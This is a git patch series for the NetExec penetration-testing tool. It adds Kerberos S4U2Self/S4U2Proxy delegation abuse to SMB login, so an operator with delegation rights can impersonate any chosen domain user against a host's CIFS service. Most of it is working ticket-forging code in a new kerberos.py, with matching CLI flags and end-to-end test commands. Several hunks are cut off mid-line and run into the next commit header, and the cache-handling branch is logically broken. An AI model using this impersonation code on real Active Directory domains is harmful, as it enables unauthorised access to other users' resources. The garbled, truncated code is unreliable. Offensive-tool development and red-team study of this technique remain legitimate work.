From 4c419b5e083c9f9898ab10e0b47dc71a6f2a74ca Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 29 Sep 2023 19:21:59 +0200 Subject: [PATCH 01/10] implement s4u abuse --- nxc/connection.py | 3 +- nxc/protocols/smb.py | 24 ++- nxc/protocols/smb/kerberos.py | 359 ++++++++++++++++++++++++++++++++ nxc/protocols/smb/proto_args.py | 1 + 4 files changed, 382 insertions(+), 5 deletions(-) create mode 100644 nxc/protocols/smb/kerberos.py diff --git a/nxc/connection.py b/nxc/connection.py index 2322f895..44834d61 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -371,7 +371,8 @@ class connection(object): if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) : self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain") return False - + if self.args.delegate: + self.args.kerberos = True with sem: if cred_type == 'plaintext': if self.args.kerberos: diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d1bd716b..ffe77f41 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -24,7 +24,8 @@ from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.krb5.kerberosv5 import SessionKeyDecryptionError -from impacket.krb5.types import KerberosException +from impacket.krb5.types import KerberosException, Principal +from impacket.krb5 import constants from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login @@ -33,6 +34,7 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import * from nxc.logger import NXCAdapter from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.kerberos import kerberos_login_with_S4U from nxc.servers.smb import NXCSMBServer from nxc.protocols.smb.wmiexec import WMIEXEC from nxc.protocols.smb.atexec import TSCH_EXEC @@ -402,22 +404,32 @@ class smb(connection): kerb_pass = "" self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") - self.conn.kerberosLogin( username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) + tgs = None + if self.args.delegate: + kerb_pass = "" + self.username = self.args.delegate + serverName = Principal('cifs/'+self.hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache) + self.logger.debug(f"Got TGS for {self.args.delegate} through S4U") + + self.conn.kerberosLogin( self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) self.check_if_admin() if username == "": self.username = self.conn.getCredentials()[0] - else: + elif not self.args.delegate: self.username = username used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + if self.args.delegate: + used_ccache = f" through S4U with {username}" else: self.plaintext_login(self.hostname, username, password) return True out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" self.logger.success(out) - if not self.args.local_auth: + if not self.args.local_auth and not self.args.delegate: add_user_bh(self.username, domain, self.logger, self.config) # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 @@ -441,10 +453,14 @@ class smb(connection): return False except OSError as e: used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + if self.args.delegate: + used_ccache = f" through S4U with {username}" self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") except (SessionError, Exception) as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" + if self.args.delegate: + used_ccache = f" through S4U with {username}" self.logger.fail( f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", color="magenta" if error in smb_error_status else "red", diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py new file mode 100644 index 00000000..3202f458 --- /dev/null +++ b/nxc/protocols/smb/kerberos.py @@ -0,0 +1,359 @@ +import datetime +import logging +import struct +import random +from impacket.winregistry import hexdump +from six import b + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 +from impacket.krb5 import constants + +def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache): + TGT = None + if useCache: + domain, user, tgt, _ = CCache.parseFile(domain, user, 'cifs/%s' % hostname) + if TGT is None: + raise + TGT = tgt['KDC_REP'] + cipher = tgt['cipher'] + sessionKey = tgt['sessionKey'] + if TGT is None: + userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + logging.info('Getting TGT for user') + tgt, cipher, _, sessionKey = getKerberosTGT(userName, password, domain, + lmhash, nthash, + aesKey, + kdcHost) + TGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + decodedTGT=TGT + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack(' Date: Tue, 3 Oct 2023 19:44:54 +0200 Subject: [PATCH 02/10] update e2e_tests --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 951a5ad8..ced984b9 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -13,6 +13,7 @@ netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --rid-brute netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-groups netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-auth +netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --delegate USERNAME netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --sam netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --lsa From dd18ef17528dbfb353884083b41166a1e384420b Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 12 Oct 2023 12:02:34 +0200 Subject: [PATCH 03/10] Added support for S4U2Self only --- nxc/protocols/smb.py | 2 +- nxc/protocols/smb/kerberos.py | 24 +++++++++++++++++++++++- nxc/protocols/smb/proto_args.py | 3 ++- 3 files changed, 26 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index ffe77f41..fe1dc4e8 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -409,7 +409,7 @@ class smb(connection): kerb_pass = "" self.username = self.args.delegate serverName = Principal('cifs/'+self.hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache) + tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) self.logger.debug(f"Got TGS for {self.args.delegate} through S4U") self.conn.kerberosLogin( self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index 3202f458..805c55ec 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -16,7 +16,7 @@ from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 from impacket.krb5 import constants -def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache): +def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache, no_s4u2proxy = False): TGT = None if useCache: domain, user, tgt, _ = CCache.parseFile(domain, user, 'cifs/%s' % hostname) @@ -160,6 +160,28 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + if no_s4u2proxy: + cipherText = tgs['enc-part']['cipher'] + + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'].asOctets()) + + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + #return r, cipher, sessionKey, newSessionKey + tgs_formated = dict() + tgs_formated['KDC_REP'] = r + tgs_formated['cipher'] = cipher + tgs_formated['sessionKey'] = newSessionKey + return tgs_formated + if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 2ba9a85a..6825c209 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -2,7 +2,8 @@ def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser]) smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") - smb_parser.add_argument("--delegate", action="store", help="Impersonate user with s4u2self + s4u2proxy") + smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") + smb_parser.add_argument("--self", dest='no_s4u2proxy', action="store_true", help="Only do S4U2Self, no S4U2Proxy (use with delegate)") dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") From dd55907929df88124d0596118708c7aa8729ebdc Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 12 Oct 2023 14:39:28 +0200 Subject: [PATCH 04/10] update e2e --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index ced984b9..6bf8f8e6 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -14,6 +14,7 @@ netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-groups netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-auth netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --delegate USERNAME +netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --delegate USERNAME --self netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --sam netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --lsa From 8ea441595c18062c4f484e7b0541b602edec0cb4 Mon Sep 17 00:00:00 2001 From: zblurx Date: Thu, 19 Oct 2023 11:07:50 +0200 Subject: [PATCH 05/10] cleanup --- nxc/protocols/smb.py | 4 +- nxc/protocols/smb/kerberos.py | 287 +++++++++++--------------------- nxc/protocols/smb/proto_args.py | 24 ++- 3 files changed, 117 insertions(+), 198 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index fe1dc4e8..c6a8ed80 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -408,7 +408,7 @@ class smb(connection): if self.args.delegate: kerb_pass = "" self.username = self.args.delegate - serverName = Principal('cifs/'+self.hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) + serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value) tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) self.logger.debug(f"Got TGS for {self.args.delegate} through S4U") @@ -436,7 +436,7 @@ class smb(connection): if self.args.continue_on_success and self.signing: try: self.conn.logoff() - except: + except Exception: pass self.create_conn_obj() diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index 805c55ec..e8795a85 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -2,7 +2,6 @@ import datetime import logging import struct import random -from impacket.winregistry import hexdump from six import b from pyasn1.codec.der import decoder, encoder @@ -17,17 +16,18 @@ from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 from impacket.krb5 import constants def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache, no_s4u2proxy = False): + logger = logging.getLogger("nxc") TGT = None if useCache: - domain, user, tgt, _ = CCache.parseFile(domain, user, 'cifs/%s' % hostname) + domain, user, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") if TGT is None: raise - TGT = tgt['KDC_REP'] - cipher = tgt['cipher'] - sessionKey = tgt['sessionKey'] + TGT = tgt["KDC_REP"] + cipher = tgt["cipher"] + sessionKey = tgt["sessionKey"] if TGT is None: userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - logging.info('Getting TGT for user') + logger.debug("Getting TGT for user") tgt, cipher, _, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, @@ -36,33 +36,28 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash decodedTGT=TGT # Extract the ticket from the TGT ticket = Ticket() - ticket.from_asn1(decodedTGT['ticket']) + ticket.from_asn1(decodedTGT["ticket"]) apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq["pvno"] = 5 + apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) + apReq["ap-options"] = constants.encodeFlags(opts) + seq_set(apReq, "ticket", ticket.to_asn1) authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator["authenticator-vno"] = 5 + authenticator["crealm"] = str(decodedTGT["crealm"]) clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName.from_asn1(decodedTGT, "crealm", "cname") - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, "cname", clientName.components_to_asn1) now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - if logging.getLogger().level == logging.DEBUG: - logging.debug('AUTHENTICATOR') - print(authenticator.prettyPrint()) - print('\n') + authenticator["cusec"] = now.microsecond + authenticator["ctime"] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) @@ -72,33 +67,29 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq["authenticator"] = noValue + apReq["authenticator"]["etype"] = cipher.enctype + apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq["pvno"] = 5 + tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq["padata"] = noValue + tgsReq["padata"][0] = noValue + tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq["padata"][0]["padata-value"] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is - # identified to the KDC by the user's name and realm. + # identified to the KDC by the user"s name and realm. clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - S4UByteArray = struct.pack(' Date: Sat, 21 Oct 2023 12:42:28 +0200 Subject: [PATCH 06/10] fix camelcase and logger import --- nxc/protocols/smb/kerberos.py | 243 +++++++++++++++++----------------- 1 file changed, 122 insertions(+), 121 deletions(-) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index e8795a85..e71338df 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -1,5 +1,4 @@ import datetime -import logging import struct import random from six import b @@ -7,224 +6,226 @@ from six import b from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue -from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ - Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, \ + seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart, \ + PA_PAC_OPTIONS from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 from impacket.krb5 import constants -def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, useCache, no_s4u2proxy = False): - logger = logging.getLogger("nxc") - TGT = None - if useCache: - domain, user, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") - if TGT is None: +from nxc.logger import nxc_logger + +def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy = False): + my_tgt = None + if use_cache: + domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") + if my_tgt is None: raise - TGT = tgt["KDC_REP"] + my_tgt = tgt["KDC_REP"] cipher = tgt["cipher"] - sessionKey = tgt["sessionKey"] - if TGT is None: - userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - logger.debug("Getting TGT for user") - tgt, cipher, _, sessionKey = getKerberosTGT(userName, password, domain, + session_key = tgt["sessionKey"] + if my_tgt is None: + principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + nxc_logger.debug("Getting TGT for user") + tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost) - TGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - decodedTGT=TGT + my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0] + decoded_tgt=my_tgt # Extract the ticket from the TGT ticket = Ticket() - ticket.from_asn1(decodedTGT["ticket"]) + ticket.from_asn1(decoded_tgt["ticket"]) - apReq = AP_REQ() - apReq["pvno"] = 5 - apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) + ap_req = AP_REQ() + ap_req["pvno"] = 5 + ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() - apReq["ap-options"] = constants.encodeFlags(opts) - seq_set(apReq, "ticket", ticket.to_asn1) + ap_req["ap-options"] = constants.encodeFlags(opts) + seq_set(ap_req, "ticket", ticket.to_asn1) authenticator = Authenticator() authenticator["authenticator-vno"] = 5 - authenticator["crealm"] = str(decodedTGT["crealm"]) + authenticator["crealm"] = str(decoded_tgt["crealm"]) - clientName = Principal() - clientName.from_asn1(decodedTGT, "crealm", "cname") + client_name = Principal() + client_name.from_asn1(decoded_tgt, "crealm", "cname") - seq_set(authenticator, "cname", clientName.components_to_asn1) + seq_set(authenticator, "cname", client_name.components_to_asn1) now = datetime.datetime.utcnow() authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encoded_authenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None) - apReq["authenticator"] = noValue - apReq["authenticator"]["etype"] = cipher.enctype - apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator + ap_req["authenticator"] = noValue + ap_req["authenticator"]["etype"] = cipher.enctype + ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator - encodedApReq = encoder.encode(apReq) + encoded_ap_req = encoder.encode(ap_req) - tgsReq = TGS_REQ() + tgs_req = TGS_REQ() - tgsReq["pvno"] = 5 - tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgs_req["pvno"] = 5 + tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq["padata"] = noValue - tgsReq["padata"][0] = noValue - tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq["padata"][0]["padata-value"] = encodedApReq + tgs_req["padata"] = noValue + tgs_req["padata"][0] = noValue + tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgs_req["padata"][0]["padata-value"] = encoded_ap_req # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is - # identified to the KDC by the user"s name and realm. - clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + # identified to the KDC by the user's name and realm. + client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - S4UByteArray = struct.pack(" Date: Sat, 21 Oct 2023 18:47:01 +0200 Subject: [PATCH 07/10] remove single quotes --- nxc/protocols/smb/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 8527acad..fe0e292a 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -6,7 +6,7 @@ def proto_args(parser, std_parser, module_parser): smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") - self_delegate_arg = smb_parser.add_argument("--self", dest='no_s4u2proxy', action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") + self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") From 03f3155835c7ff194c4803de88611eb2ede57d32 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 31 Oct 2023 10:24:15 -0400 Subject: [PATCH 08/10] Fix arg hasattr delegate check --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 44834d61..72cad309 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -371,7 +371,7 @@ class connection(object): if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) : self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain") return False - if self.args.delegate: + if hasattr(self.args, "delegate") and self.args.delegate: self.args.kerberos = True with sem: if cred_type == 'plaintext': From 47eed50292871c6f35f0905d703351d711d721e8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 31 Oct 2023 16:48:23 -0400 Subject: [PATCH 09/10] Autoformat and fixing some line breaks --- nxc/protocols/smb/kerberos.py | 33 +++++++++++++++------------------ 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index e71338df..9de2d245 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -17,7 +17,8 @@ from impacket.krb5 import constants from nxc.logger import nxc_logger -def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy = False): + +def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False): my_tgt = None if use_cache: domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") @@ -29,12 +30,9 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash if my_tgt is None: principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) nxc_logger.debug("Getting TGT for user") - tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, - lmhash, nthash, - aesKey, - kdcHost) + tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost) my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0] - decoded_tgt=my_tgt + decoded_tgt = my_tgt # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decoded_tgt["ticket"]) @@ -130,8 +128,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash req_body["till"] = KerberosTime.to_asn1(now) req_body["nonce"] = random.getrandbits(31) - seq_set_iter(req_body, "etype", - (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) nxc_logger.info("Requesting S4U2self") message = encoder.encode(tgs_req) @@ -155,7 +152,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # Creating new cipher based on received keytype cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]] - #return r, cipher, session_key, new_session_key + # return r, cipher, session_key, new_session_key tgs_formated = dict() tgs_formated["KDC_REP"] = r tgs_formated["cipher"] = cipher @@ -247,13 +244,13 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash req_body["till"] = KerberosTime.to_asn1(now) req_body["nonce"] = random.getrandbits(31) seq_set_iter(req_body, "etype", - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) + ( + int(constants.EncryptionTypes.rc4_hmac.value), + 